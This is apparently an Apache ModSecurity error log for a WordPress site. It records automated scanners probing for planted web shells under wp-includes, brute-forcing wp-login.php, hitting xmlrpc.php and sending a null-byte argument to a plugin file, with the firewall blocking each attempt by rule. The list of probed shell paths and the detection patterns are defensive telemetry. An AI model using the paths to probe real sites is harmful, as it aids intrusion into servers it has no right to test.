[Sun Apr 19 13:25:36.069059 2026] [:error] [pid 15760:tid 15790] [client 45.133.5.206:27435] [client 45.133.5.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.206, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aeRnUPSdD_XHQMJ_IStcDgAAAdY"]
[Sun Apr 19 13:25:36.106516 2026] [:error] [pid 15760:tid 15780] [client 45.133.5.206:27435] [client 45.133.5.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "aeRnUPSdD_XHQMJ_IStcEAAAAcw"]
[Sun Apr 19 13:25:36.158717 2026] [proxy_fcgi:error] [pid 15764:tid 15843] [client 45.133.5.183:37895] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:36.229860 2026] [proxy_fcgi:error] [pid 15764:tid 15827] [client 45.133.5.183:37895] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:37.686786 2026] [proxy_fcgi:error] [pid 15764:tid 15840] [client 45.133.5.183:37895] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:37.721619 2026] [:error] [pid 15764:tid 15850] [client 45.133.5.183:37895] [client 45.133.5.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aeRnUWLL_sqdSHoVp-R8ogAAAlc"]
[Sun Apr 19 13:25:37.763702 2026] [proxy_fcgi:error] [pid 47886:tid 47911] [client 45.133.5.181:40515] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:37.821422 2026] [proxy_fcgi:error] [pid 47886:tid 47895] [client 45.133.5.181:40515] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:37.865481 2026] [proxy_fcgi:error] [pid 47886:tid 47904] [client 45.133.5.181:40515] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:37.900812 2026] [proxy_fcgi:error] [pid 47886:tid 47902] [client 45.133.5.181:40515] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:37.915938 2026] [:error] [pid 47886:tid 47892] [client 45.133.5.181:40515] [client 45.133.5.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aeRnUUSe8yiyuPrD7yM9pwAAAMQ"]
[Sun Apr 19 13:25:37.948621 2026] [proxy_fcgi:error] [pid 15765:tid 15876] [client 45.133.5.177:51415] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:37.966040 2026] [proxy_fcgi:error] [pid 15765:tid 15858] [client 45.133.5.177:51415] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:37.980927 2026] [:error] [pid 15765:tid 15868] [client 45.133.5.177:51415] [client 45.133.5.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aeRnUfRqinw-W5EwQ77GuQAAAo8"]
[Sun Apr 19 13:25:38.045911 2026] [proxy_fcgi:error] [pid 47775:tid 47845] [client 45.133.5.206:34415] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:38.084929 2026] [:error] [pid 47775:tid 47849] [client 45.133.5.206:34415] [client 45.133.5.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.206, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aeRnUrmztjlk9tsmoezSCgAAAIY"]
[Sun Apr 19 13:25:38.103371 2026] [:error] [pid 47775:tid 47856] [client 45.133.5.206:34415] [client 45.133.5.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aeRnUrmztjlk9tsmoezSCwAAAI0"]
[Sun Apr 19 13:25:38.363189 2026] [proxy_fcgi:error] [pid 15760:tid 15789] [client 45.133.5.196:64277] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:38.453133 2026] [proxy_fcgi:error] [pid 15760:tid 15785] [client 45.133.5.196:64277] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:38.496554 2026] [proxy_fcgi:error] [pid 15760:tid 15787] [client 45.133.5.196:64277] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:38.516008 2026] [:error] [pid 15760:tid 15779] [client 45.133.5.196:64277] [client 45.133.5.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aeRnUvSdD_XHQMJ_IStcLQAAAcs"]
[Sun Apr 19 13:25:38.551429 2026] [proxy_fcgi:error] [pid 15760:tid 15788] [client 45.133.5.224:39635] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:38.606401 2026] [:error] [pid 15760:tid 15772] [client 45.133.5.224:39635] [client 45.133.5.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.224, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aeRnUvSdD_XHQMJ_IStcMwAAAcQ"]
[Sun Apr 19 13:25:38.627062 2026] [proxy_fcgi:error] [pid 15760:tid 15769] [client 45.133.5.224:39635] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:38.645409 2026] [proxy_fcgi:error] [pid 15760:tid 15775] [client 45.133.5.224:39635] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:38.662428 2026] [proxy_fcgi:error] [pid 15760:tid 15790] [client 45.133.5.224:39635] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:38.680567 2026] [:error] [pid 15760:tid 15776] [client 45.133.5.224:39635] [client 45.133.5.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aeRnUvSdD_XHQMJ_IStcNwAAAcg"]
[Sun Apr 19 13:25:38.719820 2026] [proxy_fcgi:error] [pid 15693:tid 15701] [client 45.133.5.172:24189] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:38.737840 2026] [:error] [pid 15693:tid 15715] [client 45.133.5.172:24189] [client 45.133.5.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aeRnUsNMD-ccazQlTsk3bQAAAVM"]
[Sun Apr 19 13:25:38.790494 2026] [proxy_fcgi:error] [pid 15765:tid 15853] [client 45.133.5.206:40315] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:38.809334 2026] [:error] [pid 15765:tid 15862] [client 45.133.5.206:40315] [client 45.133.5.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aeRnUvRqinw-W5EwQ77GvAAAAok"]
[Sun Apr 19 13:25:38.899823 2026] [proxy_fcgi:error] [pid 15763:tid 15798] [client 45.133.5.190:34749] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:38.916132 2026] [:error] [pid 15763:tid 15809] [client 45.133.5.190:34749] [client 45.133.5.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aeRnUrMXv1Y1THOoxaCUxgAAAg0"]
[Sun Apr 19 13:25:38.952666 2026] [:error] [pid 15763:tid 15802] [client 45.133.5.170:53595] [client 45.133.5.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aeRnUrMXv1Y1THOoxaCUxwAAAgY"]
[Sun Apr 19 13:25:38.988669 2026] [proxy_fcgi:error] [pid 47772:tid 47797] [client 45.133.5.221:21349] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:39.008397 2026] [proxy_fcgi:error] [pid 47772:tid 47800] [client 45.133.5.221:21349] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:39.081406 2026] [:error] [pid 47772:tid 47804] [client 45.133.5.221:21349] [client 45.133.5.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aeRnU4c0L16cb4smAz9A2AAAAA8"]
[Sun Apr 19 13:25:39.144162 2026] [:error] [pid 15763:tid 15797] [client 45.133.5.164:58147] [client 45.133.5.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aeRnU7MXv1Y1THOoxaCUyQAAAgE"]
[Sun Apr 19 13:25:39.178115 2026] [proxy_fcgi:error] [pid 47775:tid 47843] [client 45.133.5.224:50463] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:40.646488 2026] [:error] [pid 47775:tid 47851] [client 45.133.5.224:50463] [client 45.133.5.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aeRnVLmztjlk9tsmoezSEAAAAIg"]
[Sun Apr 19 13:25:40.679738 2026] [proxy_fcgi:error] [pid 15760:tid 15787] [client 45.133.5.181:36715] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:40.714857 2026] [proxy_fcgi:error] [pid 15760:tid 15768] [client 45.133.5.181:36715] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:40.729732 2026] [:error] [pid 15760:tid 15788] [client 45.133.5.181:36715] [client 45.133.5.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aeRnVPSdD_XHQMJ_IStcQgAAAdQ"]
[Sun Apr 19 13:25:40.764485 2026] [proxy_fcgi:error] [pid 15760:tid 15774] [client 45.133.5.230:23165] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:40.798080 2026] [:error] [pid 15760:tid 15769] [client 45.133.5.230:23165] [client 45.133.5.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "aeRnVPSdD_XHQMJ_IStcRgAAAcE"]
[Sun Apr 19 13:25:40.848884 2026] [proxy_fcgi:error] [pid 15763:tid 15815] [client 45.133.5.179:48761] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:40.897743 2026] [:error] [pid 15763:tid 15803] [client 45.133.5.179:48761] [client 45.133.5.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aeRnVLMXv1Y1THOoxaCUzgAAAgc"]
[Sun Apr 19 13:25:40.952457 2026] [proxy_fcgi:error] [pid 47886:tid 47900] [client 45.133.5.194:23741] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:40.986727 2026] [proxy_fcgi:error] [pid 47886:tid 47896] [client 45.133.5.194:23741] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:41.005721 2026] [proxy_fcgi:error] [pid 47886:tid 47889] [client 45.133.5.194:23741] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:41.045591 2026] [proxy_fcgi:error] [pid 47886:tid 47898] [client 45.133.5.194:23741] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:41.060699 2026] [:error] [pid 47886:tid 47906] [client 45.133.5.194:23741] [client 45.133.5.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aeRnVUSe8yiyuPrD7yM9swAAANI"]
[Sun Apr 19 13:25:41.091081 2026] [:error] [pid 47773:tid 47830] [client 45.133.5.196:45093] [client 45.133.5.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aeRnVeiBHdnCJDuPq9Dw1gAAAE4"]
[Sun Apr 19 13:25:41.121615 2026] [:error] [pid 47772:tid 47812] [client 45.133.5.191:52503] [client 45.133.5.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aeRnVYc0L16cb4smAz9A2QAAABc"]
[Sun Apr 19 13:25:41.153983 2026] [:error] [pid 15764:tid 15837] [client 45.133.5.221:31269] [client 45.133.5.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aeRnVWLL_sqdSHoVp-R8pgAAAks"]
[Sun Apr 19 13:25:42.197294 2026] [proxy_fcgi:error] [pid 15760:tid 15770] [client 45.133.5.168:60643] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:42.215202 2026] [:error] [pid 15760:tid 15789] [client 45.133.5.168:60643] [client 45.133.5.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aeRnVvSdD_XHQMJ_IStcTgAAAdU"]
[Sun Apr 19 13:25:42.249300 2026] [:error] [pid 47773:tid 47818] [client 45.133.5.165:59599] [client 45.133.5.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aeRnVuiBHdnCJDuPq9Dw1wAAAEI"]
[Sun Apr 19 13:25:42.283887 2026] [proxy_fcgi:error] [pid 15760:tid 15786] [client 45.133.5.172:36557] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:42.335052 2026] [:error] [pid 15760:tid 15785] [client 45.133.5.172:36557] [client 45.133.5.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeRnVvSdD_XHQMJ_IStcUQAAAdE"]
[Sun Apr 19 13:25:52.752212 2026] [autoindex:error] [pid 15760:tid 15782] [client 45.133.5.212:24031] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 13:25:54.314416 2026] [autoindex:error] [pid 15760:tid 15777] [client 45.133.5.212:24031] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 19:13:31.903116 2026] [:error] [pid 15760:tid 15788] [client 213.35.109.170:56104] [client 213.35.109.170] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:auth outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||agraphics.com.au|F|3"] [data "ARGS:auth=\\x00"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-automatic/inc/csv.php"] [unique_id "aeS42_SdD_XHQMJ_ISvnpwAAAdQ"]
[Sun Apr 19 21:25:54.181431 2026] [:error] [pid 47772:tid 47792] [client 34.173.67.9:52938] [client 34.173.67.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.67.9, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeTX4oc0L16cb4smAz--bQAAAAM"]
[Sun Apr 19 21:25:54.190762 2026] [proxy_fcgi:error] [pid 47772:tid 47792] [client 34.173.67.9:52938] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 21:25:57.023099 2026] [:error] [pid 47772:tid 47796] [client 34.173.67.9:52938] [client 34.173.67.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aeTX5Yc0L16cb4smAz--fAAAAAc"]
[Sun Apr 19 21:25:57.457489 2026] [:error] [pid 47886:tid 47910] [client 34.173.67.9:57761] [client 34.173.67.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aeTX5USe8yiyuPrD7yN4OAAAANY"]
[Sun Apr 19 21:25:57.932744 2026] [:error] [pid 15764:tid 15850] [client 34.173.67.9:58665] [client 34.173.67.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aeTX5WLL_sqdSHoVp-QWUQAAAlc"]
[Sun Apr 19 21:25:58.425960 2026] [:error] [pid 47773:tid 47840] [client 34.173.67.9:63250] [client 34.173.67.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aeTX5uiBHdnCJDuPq9BDrwAAAFg"]
[Sun Apr 19 21:25:59.044099 2026] [:error] [pid 15760:tid 15771] [client 34.173.67.9:59278] [client 34.173.67.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aeTX5_SdD_XHQMJ_ISsv9wAAAcM"]
[Sun Apr 19 21:25:59.503803 2026] [:error] [pid 47886:tid 47888] [client 34.173.67.9:64762] [client 34.173.67.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aeTX50Se8yiyuPrD7yN4OwAAAMA"]
[Sun Apr 19 21:26:00.098056 2026] [:error] [pid 15760:tid 15779] [client 34.173.67.9:53073] [client 34.173.67.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aeTX6PSdD_XHQMJ_ISswAAAAAcs"]
[Sun Apr 19 22:50:47.603164 2026] [:error] [pid 15763:tid 15809] [client 146.70.194.222:43288] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeTrx7MXv1Y1THOoxaAS4gAAAg0"]
[Sun Apr 19 22:50:48.136780 2026] [:error] [pid 47886:tid 47904] [client 146.70.194.222:43792] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aeTryESe8yiyuPrD7yOFdwAAANA"]
[Sun Apr 19 22:50:48.651979 2026] [:error] [pid 47773:tid 47817] [client 146.70.194.222:44172] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aeTryOiBHdnCJDuPq9BWvgAAAEE"]
[Sun Apr 19 22:50:49.171858 2026] [:error] [pid 47775:tid 47864] [client 146.70.194.222:44622] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aeTrybmztjlk9tsmoewnfQAAAJU"]
[Sun Apr 19 22:50:49.694798 2026] [:error] [pid 15694:tid 15751] [client 146.70.194.222:45270] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aeTrybimB-jol1fwqAoYiwAAAZg"]
